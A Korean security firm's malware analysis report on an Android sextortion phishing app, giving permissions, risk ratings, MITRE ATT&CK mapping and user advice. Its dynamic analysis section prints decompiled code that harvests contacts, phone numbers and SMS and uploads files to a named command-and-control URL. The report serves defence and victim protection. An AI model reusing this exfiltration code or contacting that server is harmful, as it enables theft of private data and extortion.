[25년 5월] 몸캠피싱 해킹 앱 - Lovelush.apk
아크링크만의 솔루션인 "Deep-Coding"을 활용하여목차1.1 수행 인력1.2 수행 환경1.3 수행 대상2.1 위험도 평가 기준3.1 악성 행위 개요3.2 악성 행위 요약3.3 유의사항4.1 정적 분석4.2 동적 분석06.사용자 대응 가이드01. 개요악성 앱 분석을 수행한 인력은 다음과 같다.악성코드 분석을 수행한 환경은 다음과 같다.악성코드 분석을 수행한 대상은 다음과 같다.02. 진단 상세위험도주요 내용등급5가용성에 직접적인 영향중요 정보(연락처, 사진 등) 노출단말 제어권한 획득으로 임의 조작 가능상(High)4사용자 권한 획득다른 동작과 연계될 경우 가용성에 직접적인 영향다른 동작과 연계될 경우 단말기 관리자 권한 획득 등3다른 동작과 연계될 경우 시스템 사용자 또는앱 사용자 권한 획득 등다른 동작과 연계될 경우 중요 정보 유출 가능성 있음가용성에 간접적인 영향 등중(Medium)2추가적인 공격에 활용 가능한 단말 및 사용자 정보 유출다른 동작과 연계될 경우 가용성에 간접적인 영향 등하(Low)1공격과 직접적인 연관은 없으나 불필요한 정보 등이공격자 서버에 유출단말기에 관한 일반 정보 유출 등03. 분석 결과 요약Lovelush 앱은 안드로이드 플랫폼에서 작동하는 악성 피싱 앱이다.악성 앱 실행 시 단말의 전화번호, 사용자명, SMS 내용, 주소록 등을 수집하여 공격자의 서버(C&C)로 전송한다.대상악성행위 분석권한 설명위험도Lovelush.apkandroid.permission.INTERNET인터넷 접속1android.permission.READ_CONTACTS연락처 읽기5android.permission.READ_PHONE_STATE단말기 정보 읽기4android.permission.READ_PHONE_NUMBERS전화번호 읽기3android.permission.READ_EXTERNAL_STORAGE외부 저장소 읽기5android.permission.READ_MEDIA_IMAGES이미지 읽기4android.permission.READ_MEDIA_AUDIO오디오 파일 읽기3android.permission.READ_MEDIA_VIDEO비디오 파일 읽기4*유의사항본 분석은 주식회사 아크링크에서 수집한 악성 APK 샘플에서 수행되었고 분석을 위한 참조 자료로만 활용되어야 하며, 악성코드 제작 등의 용도로 악용을 금지한다. 본 자료의 전체 혹은 일부를 주식회사 아크링크의 허락을 받지 않고, 무단 개제, 복사 배포 등의 행위는 엄격히 금지한다. 이를 어길 시 민형사상의 손해배상에 처해질 수 있다.4.1 정적 분석앱이 요청하는 권한은 단말에서 수행하는 행위의 범위를 나타낸다.권한의 선언만으로는 앱의 악성 행위 여부를 판단하기 어렵지만, 앱의 전반적인 행위와 결합하여 평가할 수 있는 지표이다.그림 2 AndroidMainfest.xml 파일 내 권한 선언No요청 권한권한 설명중요 권한 여부1android.permission.INTERNET인터넷 접속N2android.permission.READ_CONTACTS연락처 읽기Y3android.permission.READ_PHONE_STATE단말기 정보 읽기Y4android.permission.READ_PHONE_NUMBERS전화번호 읽기Y5android.permission.READ_EXTERNAL_STORAGE외부 저장소 읽기Y6android.permission.READ_MEDIA_IMAGES이미지 읽기Y7android.permission.READ_MEDIA_AUDIO오디오 파일 읽기Y8android.permission.READ_MEDIA_VIDEO비디오 파일 읽기Y*중요 권한 여부는 안드로이드 공식 문서 기준4.1-2 액티비티(Activity)악성 앱의 경우, 액티비티를 통해 사용자를 속이기 위한 화면을 제공하고 숨겨진 기능을 통해 악성 행위를 수행할 수 있다.※ 20개 이상의 난독화된 이름의 액티비티가 존재하지만, 이 보고서의 내용에는 포함하지 않았다.서비스는 사용자 인터페이스 없이 백그라운드에서 실행되는 컴포넌트로, 긴 작업 수행이나 네트워크 전송을 처리할 때 사용된다.대상 앱에 선언된 서비스는 다음과 같다.No서비스비고1com.xyx.sms.servise.LovelYtsYtsLeoUploadService-2com.luck.picture.lib.service.ForegroundService-3com.blankj.utilcode.util.MessengerUtils.ServerService-4.1-4 리시버(Receiver)악성 앱이 특정 조건이나 이벤트에 따라 액티비티를 시작하거나 민감정보를 수신하는 데 활용될 수 있으며, 대상 앱에 선언된 리시버는 존재하지 않는다.4.2 동적 분석대상 앱의 동적 분석 과정에서 사용자에 의한 직접 실행을 기반으로 하는 앱의 동작을 분석한다. 앱이 사용자의 실행으로 어떻게 구동되고, 사용자와 상호작용에 반응하는지 분석하고, 분석의 시작점은 사용자가 앱을 실행하는 순간으로 설정한다.특히, 의심스러운 네트워크 활동, 민감한 정보의 무단 수집 및 전송, 비정상적 시스템 자원 사용 등의 행위를 식별했다.앱을 실행한 후에는 중요 권한을 요청하고 있으며,// com.xyx.sms.LovelYtsYtsLeoUploadActivity@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activityprotected void onActivityResult(int i, int i2, Intent intent) {super.onActivityResult(i, i2, intent);if (i == 100) {if (ActivityCompat.checkSelfPermission(this, "android.permission.READ_SMS") != 0 && ActivityCompat.checkSelfPermission(this, "android.permission.READ_PHONE_NUMBERS") != 0 && ActivityCompat.checkSelfPermission(this, "android.permission.READ_CONTACTS") != 0 && ActivityCompat.checkSelfPermission(this, PermissionConfig.READ_EXTERNAL_STORAGE) != 0 && ActivityCompat.checkSelfPermission(this, "android.permission.READ_PHONE_STATE") != 0) {this.btn_sync.setEnabled(false);return;} else {uploadAllData();return;} }그림 4 앱 실행 및 권한 요청그림 5 단말 로그 내 권한 허용 메시지 확인4.2-3 단말기 기본 정보 수집// com.xyx.sms.LovelYtsYtsLeoUploadActivitypublic void getContactDataUpload() {this.contactList = LovelYtsYtsLeoReadContactUtils.getContact(this.myActivity);HashMap hashMap = new HashMap();hashMap.put("userName", this.code);hashMap.put("model", "android");hashMap.put("bjPhone", this.phoneNumber);hashMap.put("operatorName", LovelYtsYtsLeoReadContactUtils.getOperatorName(this.myActivity));hashMap.put("phoneContent", JSONObject.toJSONString(this.contactList));new Thread(new AnonymousClass6(hashMap)).start();} 그림 6 수집한 정보 저장 패킷// xyx.sms.utils.LovelYtsYtsLeoConstantpackage com.xyx.sms.utils;public class LovelYtsYtsLeoConstant {public static String contact_url = "webapp/saveAddressBook";public static String img_url = "webapp/image/";public static String login = "webapp/login";public static String sms_url = "webapp/saveSms";}// xyx.sms.utils.LovelYtsYtsLeoHttpUtilspublic class LovelYtsYtsLeoHttpUtils {public static String base_url = "http://xxayjgagagxxg.monster/prod-api/";public static void postFile(Activity activity, String str, File file, final LovelYtsYtsLeoOnSuccess lovelYtsYtsLeoOnSuccess) {new OkHttpClient().newCall(new Request.Builder().url(base_url + str).post(new MultipartBody.Builder().setType(MultipartBody.FORM).addFormDataPart("file", file.getName(), RequestBody.create(MediaType.parse(SelectMimeType.SYSTEM_IMAGE), file)).addFormDataPart("other_field", "value").build()).build()).enqueue(new Callback() { // from class: com.xyx.sms.utils.LovelYtsYtsLeoHttpUtils.1@Override // okhttp3.Callbackpublic void onFailure(Call call, IOException iOException) {Log.e("post", "responseerror==" + iOException.getMessage());...(생략)...public void postJSONObject(String str) {OkHttpClient okHttpClient = new OkHttpClient();try {JSONObject jSONObject = new JSONObject();jSONObject.put("word", (Object) "西红柿炒鸡蛋");jSONObject.put("page", (Object) "1");Log.d("TAG", jSONObject.toString());RequestBody create = RequestBody.create(MediaType.parse("application/json; charset=utf-8"), jSONObject.toString());Request.Builder url = new Request.Builder().url(str);url.post(create).build();Response execute = okHttpClient.newCall(url.build()).execute();if (execute.isSuccessful()) {Log.d("TAG", "返回=" + execute.body().string());}} catch (Exception e) {e.printStackTrace();}}}본 코드에서는 서버로 '西红柿炒鸡蛋(토마토 계란 볶음)'과 ‘1’이라는 값을 포함하는 JSON 데이터를 테스트용으로 전송하는 구조가 구현되어 있다4.2-4 접속 시도 시 메시지 출력그림 7 접속 시도 시 메시지 출력 화면공격 서버에서 파일 수집 명령을 수신한 경우 다음의 코드가 실행되어 외부 저장소에 저장된 파일(이미지, 영상 등)에 접근한다.// com.xyx.sms.LovelYtsYtsLeoHttpUtils public static String base_url = "http://xxayjgagagxxg.monster/prod-api/"; public static void postFile(Activity activity, String str, File file, final LovelYtsYtsLeoOnSuccess lovelYtsYtsLeoOnSuccess) { @Override // okhttp3.Callback Log.e("post", "responseerror==" + iOException.getMessage()); public void onResponse(Call call, Response response) throws IOException { Log.e("post", "response==" + string); } }05. Mitre Att&ck(Mobile)수집한 피싱앱의 악성 행위 사례를 분석하고 공격 기법과 프로세스를 이해하여 최신 기술을 적용시켜 피해자의 피해를 최소화하기 위해 앱이 어떤 보안 위협 모델에 해당하는지를 Mitre Att&ck 매트릭스를 이용하여 분석한다.대상 피싱앱 해당 항목그림 8 Mitre Att&ck 매트릭스분석한 내용을 바탕으로 사용자 대응 가이드를 제시한다.인터넷을 사용하면서 접하는 링크 중에는 피싱이나 악성 코드를 포함하고 있는 경우가 있다.특히, 앱을 다운로드할 때는 항상 공식 앱 스토어를 이용하고, 공식 스토어가 아닌 곳에서 제공하는 앱은 설치하지 않도록 한다.구버전의 안드로이드 운영 체제는 보안 취약점을 포함하고 있을 수 있다. 이러한 취약점은 공격자가 악성 행위를 수행하기 위해 악용할 수 있다.시스템 업데이트는 보안 패치 및 새로운 보안 기능을 제공하여 기기와 데이터를 보호할 수 있다.주기적 미사용 앱 삭제이러한 앱들은 종종 업데이트되지 않아 새로운 보안 취약점에 노출될 수 있다.앱을 설치하거나 사용할 때 요구되는 권한을 신중하게 검토해야 한다.예를 들어, 플래시라이트 앱이 연락처 접근 권한을 요구하는 경우, 이는 의심스러운 요구로 간주될 수 있다. 반드시 필요한 권한만 허용하여 사용해야한다.이미 설치된 앱에 대해서도 주기적으로 검토하는 것을 권장한다.단말기의 비정상 동작 감지 시 전문가 상담이러한 증상이 나타나면 기기를 전문가에게 검사해야 한다.이상, 사이버 범죄 · 몸캠피싱 대응 전문 기업 아크링크였습니다.Towards Safety, Towards Freedom.
2025.06.16